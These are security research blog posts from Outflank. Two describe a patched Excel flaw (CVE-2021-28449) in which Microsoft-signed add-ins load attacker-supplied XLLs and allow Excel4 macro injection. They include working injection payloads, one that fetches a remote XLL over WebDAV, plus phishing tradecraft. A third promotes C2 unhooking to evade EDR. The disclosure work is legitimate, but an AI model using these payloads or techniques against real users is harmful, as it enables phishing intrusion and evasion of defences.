Reading view

There are new articles available, click to refresh the page.

A phishing document signed by Microsoft – part 1

This blog post is part of series of two posts that describe weaknesses in Microsoft Excel that could be leveraged to create malicious phishing documents signed by Microsoft that load arbitrary code.

These weaknesses have been addressed by Microsoft in the following patch: CVE-2021-28449. This patch means that the methods described in this post are no longer applicable to an up-to-date and securely configured MS Office install. However, we will uncover a largely unexplored attack surface of MS Office for further offensive research and will demonstrate practical tradecraft for exploitation.

In this blog post (part 1), we will discuss the following:

  • The Microsoft Analysis ToolPak Excel and vulnerabilities in XLAM add-ins which are distributed as part of this.
  • Practical offensive MS Office tradecraft which is useful for weaponizing signed add-ins which contain vulnerabilities, such as transposing third party signed macros to other documents.
  • Our analysis of Microsoft’s mitigations applied by CVE-2021-28449.

We will update this post with a reference to part 2 once it is ready.

An MS Office installation comes with signed Microsoft Analysis ToolPak Excel add-ins (.XLAM file type) which are vulnerable to multiple code injections. An attacker can embed malicious code without invalidating the signature for use in phishing scenarios. These specific XLAM documents are signed by Microsoft.

The resulting exploit/maldoc supports roughly all versions of Office (x86+x64) for any Windows version against (un)privileged users, without any prior knowledge of the target environment. We have seen various situations at our clients where the specific Microsoft certificate is added as a Trusted Publisher (meaning code execution without a popup after opening the maldoc). In other situations a user will get a popup showing a legit Microsoft signature. Ideal for phishing!

Research background

At Outflank, we recognise that initial access using maldocs is getting harder due to increased effectiveness of EDR/antimalware products and security hardening options for MS Office. Hence, we continuously explore new vectors for attacking this surface.

During one of my research nights, I started to look in the MS Office installation directory in search of example documents to further understand the Office Open XML (OpenXML) format and its usage. After strolling through the directory C:\program files\Microsoft Office\ for hours and hours, I found an interesting file that was doing something weird.

Introduction to Microsoft’s Analysis Toolpak add-in XLAMs

The Microsoft Office installation includes a component named “Microsoft’s Analysis ToolPak add-in”. This component is implemented via Excel Add-ins (.XLAM), typically named ATPVBAEN.XLAM and located in the office installation directory. In the same directory, there is an XLL called analys32.xll which is loaded by this XLAM. An XLL is a DLL based Excel add-in.

The folders and files structure are the same for all versions and look like this:

The Excel macro enabled add-in file (XLAM) file format is relatively similar to a regular macro enabled Excel file (XLSM). An XLAM file usually contains specific extensions to Excel so new functionality and functions can be used in a workbook. Our ATPVBAEN.XLAM target implements this via VBA code which is signed by Microsoft. However, signing the VBA code does not imply integrity control over the document contents or the resources it loads…

Malicious code execution through RegisterXLL

So, as a first attempt I copied ATPVBAEN.XLAM to my desktop together with a malicious XLL which was renamed to analys32.xll. The signed XLAM indeed loaded the unsigned malicious XLL and I had the feeling that this could get interesting.

Normally, the signed VBA code in ATPVBAEN.XLAM is used to load an XLL in the same directory via a call to RegisterXLL. The exact path of this XLL is provided inside an Excel cell in the XLAM file. Cells in a worksheet are not signed or validated and can be manipulated by an attacker. In addition, there is no integrity check upon loading the XLL. Also, no warning is given, even if the XLL is unsigned or loaded from a remote location.

We managed to weaponize this into a working phishing document loading an XLL over WebDAV. Let’s explore why this happened.

No integrity checks on loading unsigned code from a signed context using RegisterXLL

ATPVBAEN.XLAM loads ANALYS32.XLL and uses its exported functions to provide functionality to the user. The XLAM loads the XLL using the following series of functions which are analysable using the olevba tool. Note that an XLL is essentially just a DLL with the function xlAutoOpen exported. The highlighted variables and functions are part of the vulnerable code:

> olevba ATPVBAEN.XLAM
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools
=================================================================
VBA MACRO VBA Functions and Subs.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/VBA Functions and Subs'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
' ANALYSIS TOOLPAK  -  Excel AddIn
' The following function declarations provide interface between VBA and ATP XLL.

' These variables point to the corresponding cell in the Loc Table sheet.
Const XLLNameCell = "B8"
Const MacDirSepCell = "B3"
Const WinDirSepCell = "B4"
Const LibPathWinCell = "B10"
Const LibPathMacCell = "B11"

Dim DirSep As String
Dim LibPath As String
Dim AnalysisPath As String

The name of the XLL is saved in cell B4 and the path in cell B10. Which looks as follows, if you unhide the worksheet:

The auto_open() function is called when the file is opened and the macro’s are enabled/trusted.

' Setup & Registering functions

Sub auto_open()
    Application.EnableCancelKey = xlDisabled
    SetupFunctionIDs
    PickPlatform             
    VerifyOpen               
    RegisterFunctionIDs      
End Sub

First, the PickPlatform function is called to set the variables. LibPath, is set here to LibPathWinCell’s value (which is under the attacker’s control) in case the workbook is opened on Windows.

Private Sub PickPlatform()
    Dim Platform

    ThisWorkbook.Sheets("REG").Activate
    Range("C3").Select
    Platform = Application.ExecuteExcel4Macro("LEFT(GET.WORKSPACE(1),3)")
    If (Platform = "Mac") Then
        DirSep = ThisWorkbook.Sheets("Loc Table").Range(MacDirSepCell).Value
        LibPath = ThisWorkbook.Sheets("Loc Table").Range(LibPathMacCell).Value
    Else
        DirSep = ThisWorkbook.Sheets("Loc Table").Range(WinDirSepCell).Value
        LibPath = ThisWorkbook.Sheets("Loc Table").Range(LibPathWinCell).Value
    End If
End Sub

The function VerifyOpen will try looking for the XLL, as named in XLLNameCell = "B8", then start looking in the entire PATH of the system and finally look in the path as defined by LibPath. Note, all (red / orange) highlighted variables are under the attacker’s control and vulnerable. We are going to focus on attacking the red highlighted code.

Private Sub VerifyOpen()
    XLLName = ThisWorkbook.Sheets("Loc Table").Range(XLLNameCell).Value

    theArray = Application.RegisteredFunctions
    If Not (IsNull(theArray)) Then
        For i = LBound(theArray) To UBound(theArray)
            If (InStr(theArray(i, 1), XLLName)) Then
                Exit Sub
            End If
        Next i
    End If

    Quote = String(1, 34)
    ThisWorkbook.Sheets("REG").Activate
    WorkbookName = "[" & ThisWorkbook.Name & "]" & Sheet1.Name
    AnalysisPath = ThisWorkbook.Path

    AnalysisPath = AnalysisPath & DirSep
    XLLFound = Application.RegisterXLL(AnalysisPath & XLLName)
    If (XLLFound) Then
        Exit Sub
    End If

    AnalysisPath = ""
    XLLFound = Application.RegisterXLL(AnalysisPath & XLLName)
    If (XLLFound) Then
        Exit Sub
    End If

    AnalysisPath = LibPath
    XLLFound = Application.RegisterXLL(AnalysisPath & XLLName)
    If (XLLFound) Then
        Exit Sub
    End If

    XLLNotFoundErr = ThisWorkbook.Sheets("Loc Table").Range("B12").Value
    MsgBox (XLLNotFoundErr)
    ThisWorkbook.Close (False)
End Sub

RegisterXLL will load any XLL without warning / user validation. Copying the XLAM to another folder and adding a (malicious) XLL named ANALYS32.XLL in the same folder allows for unsigned code execution from a signed context.

There are no integrity checks on loading additional (unsigned) resources from a user-accepted (signed) context.

Practical weaponization and handling different MS Office installs

For full weaponization, an attacker needs to supply the correct XLL (32 vs 64 bit) as well as a method to deliver multiple files, both the Excel file and the XLLs. How can we solve this?

Simple weaponization

The simplest version of this attack can be weaponized by an attacker once he can deliver multiple files, an Excel file and the XLL payload. This can be achieved by multiple vectors, e.g. offering multiple files for download and container formats such as .zip, .cab or .iso.

In the easiest form, the attacker would copy the ATPVBAEN.XLAM from the Office directory and serve a malicious XLL, named ANALYS32.XLL next to it. The XLAM can be renamed according to the phishing scenario. By changing the XLLName Cell in the XLAM, it is possible to change the XLL name to an arbitrary value as well.

MS Office x86 vs x64 bitness – Referencing the correct x86 and x64 XLLs (PoC 1)

For a full weaponization, an attacker would require knowledge on whether 64-bit or 32-bit versions of MS Office are used at a victim. This is required because an XLL payload (DLL) works for either x64 or x86.

It is possible to obtain the Office bitness using =INFO("OSVERSION") since the function is executed when the worksheet is opened, before the VBA Macro code is executed. For clarification, the resulting version string includes the version of Windows and the bitness of Office, ex; “Windows (32-bit) NT 10.00”. An attacker can provide both 32- and 64-bit XLLs and use Excel formulas to load the correct XLL version.

The final bundle to be delivered to the target would contain:

PoC-1-local.zip
├ Loader.xlam 
├ demo64.dat
├ demo32.dat

A 64-bit XLL is renamed to demo64.dat and is loaded from the same folder. It can be served as zip, iso, cab, double download, etc.

Payload: Changed XLLName cell B8 to
= "demo" & IF(ISERROR(SEARCH("64";INFO("OSVERSION"))); "32"; "64") & ".dat"

Loading the XLL via webdav

With various Office trickery, we also created a version where the XLAM/XLSM could be sent directly via email and would load the XLL via WebDAV. Details of this are beyond the scope of this blog, but there are quite a few tricks to enable the WebDAV client on a target’s machine via MS Office (but that is for part 2 of this series).

Signed macro transposing to different file formats

By copying the vbaproject.bin, signed VBA code can be copied/transposed into other file formats and extensions (e.g. from XLAM to XLSM to XLS).

Similarly, changing the file extension from XLAM to XLSM can be performed by changing one word inside the document in [Content_Types].xml from ‘addin’ to ‘sheet’. The Save As menu option can be used to convert the XLSM (Open XML) to XLS (compound file).

Signature details

Some noteworthy aspects of the signature that is applied on the VBA code:

  • The VBA code in the XLAM files is signed by Microsoft using timestamp signing which causes the certificate and signature to remain valid, even after certificate expiration. As far as we know, timestamp signed documents for MS Office cannot be revoked.
  • The XLAMs located in the office installer are signed by CN = Microsoft Code Signing PCA 2011 with varying validity start and end dates. It appears that Microsoft uses a new certificate every half year, so there are multiple versions of this certificate in use.
  • In various real-world implementations at our clients, we have seen the Microsoft Code Signing PCA 2011 installed as a Trusted Publisher. Some online resources hint towards adding this Microsoft root as a trusted publisher. This means code execution without a popup after opening the maldoc.
  • In case an environment does not have the Microsoft certificate as trusted publisher, then the user will be presented with a macro warning. The user can inspect the signature details and will observe that this is a genuine Microsoft signed file.

Impact summary

An attacker can transpose the signed code into various other formats (e.g. XLS, XLSM) and use it as a phishing vector.

In case a victim system has marked the Microsoft certificate as trusted publisher and the attacker manages to target the correct certificate version a victim will get no notification and attacker code is executed. 

In case the certificate is not trusted, the user will get a notification and might enable the macro as it is legitimately signed by Microsoft.

Scope: Windows & Mac?

Affected products: confirmed on all recent versions of Microsoft Excel (2013, 2016, 2019), for both x86 and x64 architectures. We have found signed and vulnerable ATPVBAEN.XLAM files dating back from 2009 while the file contains references to “Copyright 1991,1993 Microsoft Corporation”, hinting this vulnerability could be present for a very long time. 

It is noteworthy to mention that the XLAM add-in that we found supports both paths for Windows and for MacOS and launches the correct XLL payload accordingly. Although MacOS is likely affected, it has not been explicitly tested by us. Theoretically, the sandbox should mitigate (part of) the impact. Have fun exploring this yourself, previous applications by other researchers of our MS Office research to the Mac world have had quite some impact. 😉

Microsoft’s mitigation

Microsoft acknowledged the vulnerability, assigned it https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28449 and patched it 5 months later. 

Mitigation of this vulnerability was not trivial, due to other weaknesses in these files (see future blog post 2 of this series). Mitigation of the weakness described in this post has been implemented by signing the XLL and a new check that prevents ‘downgrading’ and loading of an unsigned XLL. By default, downgrading is not allowed but this behavior can be manipulated/influenced via the registry value SkipSignatureCheckForUnsafeXLL as described in https://support.microsoft.com/en-gb/office/add-ins-and-vba-macros-disabled-20e11f79-6a41-4252-b54e-09a76cdf5101.

Disclosure timeline

Submitted to MSRC: 30 November 2020

Patch release: April 2021

Public disclosure: December 2021

Acknowledgement: Pieter Ceelen & Dima van de Wouw (Outflank)

Next blog: Other vulnerabilities and why the patch was more complex

The next blog post of this series will explain other vulnerabilities in the same code, show alternative weaponization methods and explain why the patch for CVE-2021-28449 was a complex one.

The post A phishing document signed by Microsoft – part 1 appeared first on Outflank.

A phishing document signed by Microsoft – part 2

This is the second part of our blog series in which we walk you through the steps of finding and weaponising other vulnerabilities in Microsoft signed add-ins. Our previous post described how a Microsoft-signed Analysis Toolpak Excel add-in (.XLAM) was vulnerable to code hijacking by loading an attacker controlled XLL via abuse of the RegisterXLL function.

In this post we will dive deep into a second code injection vulnerability in the Analysis Toolpak in relation to the use of the ExecuteExcel4Macro function in a Microsoft-signed Excel add-in. Furthermore, we will show that the Solver add-in is vulnerable to a similar weaknesses with yet another vector. In particular, we will discuss:

  • Walkthrough of the Analysis Toolpak code injection vulnerability patched by CVE-2021-28449
  • Exploitation gadgets for practical weaponisation of such a vulnerability
  • Weakness in Solver Add-in
  • Our analysis of Microsoft’s patch

Excel4 macro code injection

During execution of the Analysis Toolpak, the Microsoft-signed and macro-enabled file ATPVBAEN.XLAM uses macros to load ANALYS32.XLL and registers the functions in this XLL file to be used in formulas in cells. In this process, a call is made to the ExecuteExcel4Macro VBA function, passing a string that will be executed as Excel4 macro code. Part of this string is user controlled. Hence, it is possible to hijack the Excel4 macro execution flow and exploit it to run injected code.

Note: for full VBA source code, or to follow the exploitation steps along, you can download the original/vulnerable XLAM here (and run olevba to display the VBA code).

The vulnerable code snippet can be found below (note that ampersands are concatenations):

Private Sub RegisterFunctionIDs()
    XLLName = ThisWorkbook.Sheets("Loc Table").Range(XLLNameCell).Value
    Quote = String(1, 34)
    For i = LBound(FunctionIDs) To UBound(FunctionIDs)
        Dim StrCall
        StrCall = "REGISTER.ID(" & Quote & AnalysisPath & XLLName & Quote & "," & Quote & FunctionIDs(i, 0) & Quote & ")"
        FunctionIDs(i, 1) = ExecuteExcel4Macro(StrCall)
    Next i
End Sub
  • The vulnerability resides in the VBA function RegisterFunctionIDs, where the Analysis Toolpak XLL is registered using a call to ExecuteExcel4Macro.
  • The variables XLLName and AnalysisPath point to cells and are not affected by VBA code signing.
  • As such, the attacker can control their contents by modifying the XLAM cell contents and thereby partly control the input to ExecuteExcel4Macro.

However, in practice this vulnerability is more difficult to exploit since the attacker-controlled input (cell contents) is already partly validated in the function VerifyOpen, which gets called before RegisterFunctionIDs.

Sub auto_open()
    Application.EnableCancelKey = xlDisabled
    SetupFunctionIDs
    PickPlatform             
    VerifyOpen               
    RegisterFunctionIDs      
End Sub

If the XLL was not successfully registered, the worksheet would have closed in the last line of VerifyOpen, as shown in a simplified version of this function:

Private Sub VerifyOpen()       
    ' Outflank: Removed many lines for readability
    XLLName = ThisWorkbook.Sheets("Loc Table").Range(XLLNameCell).Value
    ' Outflank: Removed many lines for readability
    XLLFound = Application.RegisterXLL(LibPath & XLLName)
    If (XLLFound) Then
        Exit Sub
    End If
    
    XLLNotFoundErr = ThisWorkbook.Sheets("Loc Table").Range("B12").Value
    MsgBox (XLLNotFoundErr)
    ThisWorkbook.Close (False)
End Sub

Fortunately, we can get around this: the VerifyOpen function validates whether an XLL file exists on a given location, but does not validate whether there are ‘side effects’ in the path that could influence the execution within ExecuteExcel4Macro. It should be noted that injecting a double quote () is allowed in the input validation check, but will terminate the ‘Register’ Excel4 macro string. We can use this trick to inject calls to other Excel4 functions.

Since the call to RegisterXLL may not result in XLLNotFoundErr (input path should point to existing XLL on disk), we need to meet some conditions to hijack the Excel4 Macro code execution flow for weaponising this.

Basic weaponisation vector

The RegisterXLL function interprets the input as a Windows path while ExecuteExcel4Macro interprets it as a string. RegisterXLL simplifies the given path and allows to hide code in a directory traversal:

Payload: Changed XLLName cell B8 to
Library\" & exec("calc.exe"), "\..\Analysis\ANALYS32.XLL

The exploit string is then injected into the target function as follows:

ExecuteExcel4Macro(REGISTER.ID("Library\" & exec("calc.exe"), "\..\Analysis\ANALYS32.XLL","…"))

The relative referencing of ANALYS32.XLL is possible because Excel also searches for the XLL in the Office installation path.

This PoC exploit string demonstrates the execution of local binaries from the system. It starts calc.exe. It can be used together with LOLBINS to create a dropper for persistency and/or gain remote code execution.

Now, to fully weaponise this, we want to execute a malicious remote XLL or PE executable.

Building blocks for remote weaponisation

To weaponise this for loading a remote XLL or to run a remote PE executable, we need some more building blocks / gadgets to bypass technical constraints. We developed various building blocks that allowed us to bypass the input validation:

  • Remote loading
    • It does not seem possible to load a remote XLL directly via http(s), therefor we try loading via WebDAV.
  • Load an XLL over WebDAV into the current process
    • The REGISTER function can load XLLs and is allowed to make WebDAV calls once the WebClient service is running.
  • Starting WebClient/webDAV service
    • Starting the WebClient service for WebDAV accessibility usually requires a manual action and administrative privileges. However, some Windows API calls (and Excel functionality using these) are allowed to start the service automagically from a normal user context.
    • The Excel4 function RUN can be used for this purpose, pointing to a (empty) remote webDAV-hosted Excel document. The WebClient service will then be automatically stated on the victim machine if it was not yet running. Note: RUN cannot load XLLs, that is why both functions are required.
    • The remote Excel document can be of different types. We loaded an XLAM add-in instead of a more regular XLSX worksheet. Pointing the RUN to an XLSX will open a new window on the victim machine while an XLAM loads the add-in in the current window. An empty XLAM (without macros) is used in our case.
  • Function restrictions
    • We run multiple Excel4 commands in a concatenated context: only Excel4 instructions/functions that return a value can be used. Cell assignments are not available, for instance.
  • Path traversal
    • Using a path traversal (\..\), it is possible to inject valid Excel4 macro code in a string that is interpreted as a path. The RegisterXLL function as used in VerifyOpen interprets the input as a Windows Path while ExecuteExcel4Macro interprets it as a string. RegisterXLL simplifies the given path and as such allows to hide code, and then discard the injected code via directory traversal. 
    • When injecting code with slashes every forward or backward slash should be compensated for with an extra directory traversal (..\) to keep the relative reference valid. Double slashes are counted as one.
  • Character restrictions
    Not all characters are allowed in paths.
    • Some special characters are not allowed in the path for RegisterXLL, however “,\ and . are.
  • Relative referencing
    To meet the VerifyOpen check, it is required to point to an existing XLL. To target users with different MS Office versions and support both x64 and x86 install of Office, the following trick can be used:
    • Relative referencing of files in the Office installation directory is possible. This allows the attacker to find a XLL regardless of Office version or Office bitness in \Library\Analysis\Analys32.xll where Analys32.xll is always of the same bitness as the Office install.
    • Relative references can even be used if the Excel file is opened from a network share / USB drive, because the Excel will always search for the XLLname in the Office installation directory on the C: drive.
  • Implementation
    • We inject in a for loop of 37 elements, so our payload is executed multiple (37) times. To circumvent this, it is possible to break out of the for loop and throw an error. Another simple approach is to limit XLL payload launches to once using Windows Mutexes within the loaded malicious XLL.

Full weaponisation

A Proof of Concept to start the WebClient service and load an XLL over WebDAV. The RUN command loads a remote empty xlam to enable WebDAV. The REGISTER command then loads a remote XLL. Simplified exploit:

Payload used in the image above: Change XLLName cell B8 to value:

Library\H" & RUN("'http://ms.outflank.nl/w/[x.xlam]s'!A1") & REGISTER("\\ms.outflank.nl\w\demo64.dat"), "\..\..\..\..\..\..\..\Analysis\ANALYS32.XLL

The exploit above, loads a remote XLL. However, the bitness (x64/x86) of the XLL should match the bitness of Excel.

Like in the previous blog post, we will create a formula to make sure that the correct bitness is used so that our exploit works for both x64 and x86.

The XLLName cell B8 could consist of a formula concatenating three cells together (i.e. C7 & C8 & C9 ), in this order:

Library\H" & RUN("'http://ms.outflank.nl/w/[x.xlam]s'!A1") & REGISTER("
= "\\ms.outflank.nl\w\demo" & IF(ISERROR(SEARCH("64";INFO("OSVERSION"))); "32"; "64") & ".dat"
"), "\..\..\..\..\..\..\..\Analysis\ANALYS32.XLL

The resulting document effectively exploited all recent versions of MS Office (x86+x64) prior to the patch, for any Windows version, against (un)privileged users, without any prior knowledge of the target environment. Furthermore, as shown in the previous blog post, it was possible to change the filetype to xlsm and xls. Plus, the certificate was already installed as trusted publisher in some cases. An ideal phishing document!

Yet another add-in and vector; solver.xlam

In the default MS Office install, there is another add-in which is vulnerable to a very similar abuse. The Solver.xlam file provides functionality to find optimal values under specific constraints. 

The solver add-in is implemented as an XLAM that loads a file named Solver.dll in VBA code and uses the function ExecuteExcel4Macro with contents that are partly attacker-controlled.

In this case, the VBA macro uses a private declare to reference external procedures in a DLL.

Private Declare PtrSafe Function Solv Lib "Solver32.dll" (ByVal object, ByVal app, ByVal wkb, ByVal x As Long) As Long

This can be abused by delivering solver.xlam alongside an attacker controlled file named ‘Solver32.dll’ in the same directory (e.g. in a zip). External references in signed code are yet another vector that can result in “signature abuse” for code execution.

Furthermore, ExcecuteExcel4 macro’s are being called on possible attacker/user controlled input.

GetName = Application.ExecuteExcel4Macro("GET.DEF(" & Chr(34) & Application.ConvertFormula(Range(the_address).Address, xlA1, xlR1C1) & Chr(34) & "," & Chr(34) & GlobalSheetName & Chr(34) & ")")

Microsoft also addressed these instances in their April patch.

Microsoft’s mitigation

Microsoft acknowledged the vulnerability, assigned it https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28449 and patched it 5 months after our vulnerability notification. 

As explained in the previous blog post, new validations were introduced to limit the loading of unsigned XLLs from a signed context. This would block the WebDAV XLL loading. However as demonstrated in this blog, there are other mechanisms to execute code that are not blocked by this.

We have not fully reversed the Excel patch, but based on behavior of Excel when opening the new (after patch) and old (before patch) files, we believe the following has been implemented to mitigate further abuse:

  • Newer versions of Excel check the timestamp of signing to ensure only Microsoft XLAMs signed after this update are allowed.
  • In newer Office versions the XLAM macro code in the Analysis Toolpak has various forms of input validation, either escaping quotes and hardcoded paths as input to the Excel4 function, or by changing directories to the Office install directory prior to loading a function from an external DLL to ensure the DLL is loaded from the installed Office.
  • In addition, Microsoft introduced features to disable Excel4 when VBA macros are enabled.

Trying to load the vulnerable, old XLAM (or XLA) on a patched Office installation, will now result in the following Security Notice without option to execute anyway:

This was a nice journey into another obscure area of MS Office. Achievements: a new security registry setting, a new warning dialogue and someone at Microsoft writing legit Excel4 macro code in 2021.

With this blog series we hope to have inspired you to do your own research into features which exist in MS Office for decades, but have largely been unexplored by security researchers. Such archaic features of MS Office can be a true gold mine from an offensive perspective.

For questions and comments, please reach out to us on Twitter @ptrpieter and @DaWouw.

The post A phishing document signed by Microsoft – part 2 appeared first on Outflank.

Solving The “Unhooking” Problem

For avoiding EDR userland hooks, there are many ways to cook an egg:

Direct system calls (syscalls), Indirect syscalls, unhooking, hardware breakpoints, and bringing and loading your own version of a library. These methods each have advantages and disadvantages. When developing a C2 implant it’s nice to work with a combination of multiple of these. For instance, you could use a strong (in)direct syscall library for direct usermode to kernel transition, then use unhooking or hardware breakpoints for user mode-only (to bypass AMSI, ETW e.g.) functions.

Regarding system calls, excellent research has already been done. A small selection of relevant blog posts is Klezvirus’ post on syswhispers, MDSec’s post on direct invocation of system calls and our own blog post on combining direct system calls srdi.

So, in this blog we’ll zoom in on protecting calls to user mode functions.

Protecting Your Implant

Protecting your implant’s calls to user mode functions works great when the implant code is in the developer’s control. However, there’s a catch. What happens if your C2 implant supports running external code, such as BOF’s or (C#) executables? The problem here is that this allows external code to be ran in the target implant’s process. This code can load additional libraries using LoadLibrary, which some EDRs hook right after the loading. Running an OPSEC sensitive BOF can easily lead to detection by an EDR, especially if no precautions are taken.

Some of this risk can easily be mitigated by linking-in a custom LoadLibrary wrapper, which performs a LoadLibrary and some unhooking on the target library before returning. However, this does not fully solve the problem and can lead to a cat and mouse game as a library can in turn, load another library as a dependency which can be hooked and needs to be unhooked, etc.

In the mind of an offensive security researcher, additional scenarios and thoughts quickly pop up. For example: The BOF/exe can decide to use a lower-level function, such as LoadLibraryExW, LdrLoadDll or LdrpLoadDll for OPSEC reasons. But perhaps the DLL was already loaded (and hooked) before the implant even started. Or what if we make the code try to resolve LoadLibrary itself? In this case, would it be better to hook LoadLibrary itself? Will that cause detections? Will it interfere with the sleepmask when the implant’s code is obfuscated during sleep? What happens if the host process itself performs a legitimate LoadLibrary?

While not trivial, this problem is solvable programmatically. The downside is that it will be hard to debug if something unexpected happens. Plus, it will be yet another black-box for the red team operator.

The Better Solution for Implant Protection

If we take one step back, we can see a better option: Protect the operator for running into hooks in all normal cases and let the operator choose between transparency or verbosity. This will protect the casual operator, yet at the same time allows experienced operators to learn about and influence hooks (i.e. unhook) where needed.

This involves creating a way for operators to load an additional library, check it for hooks, and clean it. Or for more simple usage, check and clean all processes’ library hooks. At Outflank we have our C2 framework called Stage1 as part of Outflank Security Tooling. We have implemented this unhooking functionality in Stage1. It will detect and unhook function hooks as well as Import Address Table (IAT) hooks. You can see this in figures 1 and 2 below. By running the hooks clean command, Stage1 resolves a list of hooked user mode functions and unhooks them. The second command shows hooks list that, you guessed it correctly, detects userland API hooking. In this case, the command was executed after removing all hooks, to verify that they are not restored by the EDR.

Figure 1. hooks clean command
Figure 2. hooks list command after cleaning

While the concept and implementation are simple, the result can be extremely valuable: It allows red team operators to learn about an EDR’s presence, its hooking strategy, and get a feel for how the EDR works. With this crucial knowledge, operators can modify their techniques, their BOFs, and Python wrappers for automation to pre-load and unhook libraries before usage (yes you read that right, Stage1 C2 uses Python for automation!)

But we can even take this another step further:

Part of Outflank Security Tooling is the tooling part. But another vital part is the trusted community of red teamers where knowledge is shared. OST provides Stage1 BOF Python automations for all OST tools as well as commonly used BOFs on Github such as TrustedSec’s BOF collections, Chlonium, etc. An example of automating this can be seen in the below Python code for a Stage1 C2 automation bot.

Figure 3. Automation of BOF using Python

By sharing and documenting this knowledge in the OST community, we have much larger sample size than a single red team. With the power of automation we can further optimise for OPSEC.

Wrapping Up

Offensive developers tend to choose the technical approach. In this blog we’ve demonstrated that a less technical and more transparent approach has several important benefits: Operators want to learn more about hooking and by distributing this knowledge in our trusted community, we can stay ahead of EDRs and continue running operations.

Stage1 C2 is only a small piece of OST. If you’re interested in seeing more of the diverse offerings in this offensive toolset, we recommend scheduling an expert led demo.

The post Solving The “Unhooking” Problem appeared first on Outflank.

❌